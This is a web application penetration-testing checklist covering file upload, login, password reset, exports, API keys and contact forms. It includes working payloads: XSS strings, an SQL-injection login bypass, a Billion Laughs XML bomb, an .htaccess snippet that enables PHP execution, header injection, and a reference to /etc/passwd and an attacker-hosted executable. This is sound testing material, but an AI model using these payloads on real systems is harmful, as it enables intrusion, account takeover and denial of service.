Version: 1.1
Do It Yourself! (DIY) Web Penetration Testing is a guideline in performing security test cases against web applications
The guide is split on web components, each of those contains specific testing steps that could unveil potential vulnerabilities.
Brought to you by Zerotak
😎 Pentesters
😎 Developers who want to strengthen the security of their applications
😎 QA testers who want to include security test cases within their methodology
😎 Security enthusiasts
😎 Everyone else
⛔ Those who do not care about the security of their applications
⛔ Those who think that they are not a target for cyber criminals
⛔ Those who think that their webapps are 100% safe
⛔ Those who think they know everything
- Upload file containing JavaScript (XSS) payload - usually HTML extensions
<script>alert()</script>
- Upload PDF file
https://github.com/luigigubello/PayloadsAllThePDFs/blob/main/PDF%20Files/payload1.pdf
- Upload
.SVG, .XML, .XSD, .XMP, .XSLT, .XHTML
Files:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
xmlns:svg="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
style="overflow: hidden; position: relative;"
width="300"
height="200">
<image
x="10"
y="10"
width="276"
height="110"
xlink:href="https://google.com"
stroke-width="1"
id="image3204" />
<rect
x="0"
y="150"
height="10"
width="300"
style="fill: black"/>
<script>alert()</script>
</svg>
- Compile and Upload SWF file:
Create an ActionScript file (.as) with the source code from below and compile it by running mtasc -swf asd.swf -main -header 0:0:0 test.as
(Source: https://github.com/ncannasse/mtasc)
class XSS {
static var app: XSS;
function XSS() {
var xss = "javascript:alert(\"That's a cool XSS\")";
getURL(xss, "_self");
}
static function main(mc) {
app = new XSS();
}}
- Upload GIF file:
GIF89a/<svg/onload=alert(1)>/=alert(document.domain)//;
- Upload file with XSS payload within its name
image.jpeg -> image'"><script>alert()</script>.jpeg
- Upload file with XSS payload within metadata
exiftool -Comment='"><script>alert()</script> image.jpg
Where to get them from: https://github.com/BlackArch/webshells
Upload .SVG, .XML, .XSD, .XMP, .XSLT, .XHTML
files with payloads
https://github.com/payloadbox/xxe-injection-payload-list
If the SYSTEM
entity is restricted, then try the Billion Laughs attack for Application Denial-of-Service (DoS)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
- Upload an Anti Malware Testfile - EICAR (which will not do any harm if executed, but is detected by almost all anti-virus vendors) in order to check if there is an anti-virus check before storing the file
Link: https://www.eicar.org/download-anti-malware-testfile/
-
If .EXE is not allowed, try to upload the allowed file extension (e.g. .PDF) with the content of the EICAR file
-
Upload files containing malicious macros (DOCM, CSV, etc.)
- Upload a file within the account/storage of another user
Possible options:
a. Through IDOR (change URL/Data parameters when uploading the file)
b. Through manipulation of the folder where the file is located. Upload file with the following filename:
../bob_folder/image.jpg
- Upload a file with a big size or achives containing huge files -> Check for Storage-based Denial-of-Service (DoS) or Overbill if the storage has auto-scaling.
Alternatively, split the file in multiple chunks (image1.jpg
, image2.jpg
, and so on) and upload them
- Upload a file with the name of an existing file -> check if overwriting is possible. Example of a
.htaccess
to allow the execution of the PHP filerce.php
:
<Files ~ "^\.php">
Require all granted
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php rce.php
-
Check if the uploaded file can be accessed without authentication (Missing Authentication) or by other users (Broken Access Controls)
-
Upload file containing a long name -> trigger logical issues or verbose errors
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.jpeg
- Delete files uploaded by other users through Insecure Direct Object Reference (IDOR) or Cross-Site Request Forgery (CSRF) with a forged link.
- Set up a listener proxy using Burp Suite
- Upload an allowed file, for example
image.jpg
- Intercept the request
- Modify the following parameters:
Filename
Content-Type
Content of file
Upload a file containing SQLi payloads within its name
image.jpeg' or '1'='1
Check if the metadata is stripped from the file:
exiftool image.jpeg
- Through error messages
Invalid Username & Invalid Password:
Username was not found
Valid Username & Invalid Password:
Incorrect password
- Through response size discrepancy:
Invalid Username & Invalid Password: Response size: 20KB
(example)
Valid Username & Invalid Password (the same password as above): Response size: 150KB
(example)
- Through response time discrepancy:
Invalid Username & Invalid Password: Response time: 5,000 ms
(example)
Valid Username & Invalid Password (the same password as above): Response time: 100 ms
(example)
SELECT * FROM USERS WHERE username = '<user input>' and password = '<password input>';
That is one of the classics and very vulnerable queries for a login page
Insert the following username to bypass authentication: admin' or '1'='1'-- -
- Set up a proxy listener using Burp Suite
- Capture the request sent as a login:
username=zerotak&password=test
- Add another
username
parameter with the target account, for example:username=zerotak&username=admin&password=test
- You will (probably) be logged into the
admin
account. This heavily depends on how the application processes the post-login session.
Check data breaches for any exposed credentials that can be used to compromise accounts. Such platform can be IntelX.io (free trial for 7 days)
If the application hardcodes a value that the user will be redirected to after login through a GET parameter (such as ?redirect_url=
):
https://vulnerable-target/login/?redirect_url=https://phishing-website --> For Open Redirect after login
https://vulnerable-target/login/?redirect_url=javascript:alert() --> For Cross-Site Scripting (XSS) after login
Use Burp Suite's Intruder to test if after 100 (or another threshold) failed login attempts, there will still be a valid login accepted.
- Register an account with a blank password -> Null password accepted
- Register an account with
a
or1
as a password -> Missing Password Policy - Register an account with
123456789
orasd12345
as a password -> Weak Password Policy - Register an account with the same username and password (e.g.
zerotak:zerotak
) -> Weak Password Policy - Register an account with
P@ssw0rd
as a password -> Common Passwords Accepted
- Set up your session cookie (unauthenticated) with the value of
pentest
- Log into the application
- Open another browser/computer and insert the session cookie with the
pentest
value - Are you authenticated? If yes, then it is a
Session Fixation
vulnerability
All vulnerabilities and test cases from the previous section should be applied here as well. Besides those from above, you will find below specific attacks on Forgot Password pages and features.
- Through reset password token disclosed in response
- Through Host Header Injection
Modify the Host:
request header to match your listener's hostname/IP address (Burp Collaborator can be used here). The reset token can be transmitted to your controlled listener.
- Check if the forgot password token can be used after a long period of time (e.g. 1-2 weeks)
- Check if the forgot password token can still be used after its first usage (Missing Invalidation)
Usually, the reset token is provided within the email as a GET request with a corresponding URL parameter. This parameter is a hidden form input within the page. Inject XSS payloads here:
https://vulnerable-target/reset-password/?token='"><img src=x onerror=alert()></img>
- Can you change your password without any password reset token?
- Can you change the password of another account with your password reset token?
- Send a reset password request at the same time for two different accounts owned by you
- Copy and inspect the password reset tokens
- Analyze them for any predictable components. You can take in consideration the following:
timestamp
usernames
email
Check if the password change feature within the My Account page contains a check for the Old/Current Password.
Can be coupled with Cross-Site Request Forgery
(One click-interaction account takeover).
GET /change-password/?new_password=<arbitrary value>
Example of request to pull your account's details:
GET /my-account/?userID=1234
Retrieve another account's details:
GET /my-account/?userID=1235
Check if you can tamper with the username
parameter while performing the authenticated password change.
Check the response from the API if it contains more information about your account than the UI. For example, we had a scenario where the API responded with the full password hash of the account.
- Copy your session cookie (authenticated)
- Logout
- Use the previously copied cookie value within the browser
- Are you authenticated?
Same as Login/Register
but the endpoint may differ. The impact here would be higher because there is no additional interaction (if coupled with CSRF).
- Check if the application allows CSV or XLS format export of data contained within its pages (for XLSX is not applicable!)
- Insert a formula through the web application:
=1+1
+1+1
-1+1
@1+1
- Export and check if the formula was reflected in the exported file
For some applications, the export function adds another character in front of the formula (such as a '
). In that case you should insert a separator to bypass the mechanism:
,=1+1
,+1+1
,-1+1
,@1+1
Try requesting multiple exports of huge amounts of information from the application at the same time. Can be done using Burp Suite's intruder functionality.
If the exports are stored Server-Side, please check the File Storage Attacks
sub-section within the File Upload
section.
- Request an export
- The application will download a CSV/XLS file and reflect its name within a GET/POST parameter
- Capture the request (using Burp Suite)
- Change the filename to reference an internal name, such as
/etc/passwd
or an external malicious name, such ashttps://attacker/malware.exe
.
- Navigate through the application until you reach a page where Google Maps is displayed
- Check the requests using the Network tab from the Browser's Web Developer Tools
- Identify the requests going to
maps.googleapis.com
and capture the value of thekey
parameter (format:AIza...
) - Use the script here: https://github.com/ozguralp/gmapsapiscanner to check if the token can be used outside of the application
- If yes, then you can create an automated script to send a lot of requests using the victim's token, in order to consume the quota and potentially produce an overbill
For applications that use a combination of public
and private
API keys, the private
key is disclosed only when the pair is created.
However, you can test if this private
API Key is being disclosed within the response of the application (through the API itself).
- Navigate to the page where the API keys are managed
- Intercept the request
- If the API keys are being created/pulled based on a GET/POST parameter, then interact with that parameter. Example:
API Tokens of User A (attacker):
POST /api-key
userID=1234
Create a pair of API tokens for User B (victim):
POST /api-key
userID=1235
Check if the API keys can be used even after the removal of them from the account.
- Send a valid request to the contact form
- Intercept the request using Burp Suite
- Send the request to Intruder and repeat it for 'x' times
Note: Usually the contact forms display the captcha only after some repeated requests, which means that if you identify a visually missing captcha on the form, it doesn't reflect the real status of the captcha (active).
Usually, the request sent through the contact form ends up in a mailbox, which means that you can phish the administrator using an HTML injection payload like that:
Please contact me back <a href="https://phishing-website">here</a>
Original request sent through a contact form:
POST /contact.php
name=Cristian&email=cristian@zerotak.com&subject=Hello&body=Nice to meet you!
Tampered request where you can inject an additional parameter within the email headers (CC, BCC, etc.):
POST /contact.php
name=Cristian&email=cristian@zerotak.com\nbcc: shadows@zerotak.com&subject=Hello&body=Nice to meet you!
You can try injection within all the input values that are being transmitted through the contact form.
Try deleting or changing permissions for all of the high-privileged users and administrators in order to cause a lockout of the application, where there will be no account able to perform administrative changes.
- Open a session in browser for user "Bob"
- Change the password/privileges or delete the account of user "Bob" through the users management page
- Did your session expire?
Check if you are able to view the passwords of users, through the User Interface (UI) or through the API. Users may use those passwords for other platforms too!
Usually, the administrators have the option to export the list of users. In that case, check Formula Injection section.
Markdown editors allow you to insert hyperlinks that redirects on click to an arbitrary URL provided as user input.
There you can insert an XSS-based redirection such as javascript:alert()
instead of a valid URL.
Check here
Markdown editors are the ones usually most vulnerable to denial-of-service when trying to process huge chunks of user input. The issue is mainly within the conversion from markdown to text.
Create input of big size:
python -c "print('A'*10000000)"
- Financial-related Functions
- Chat/Messages
- Blog Posts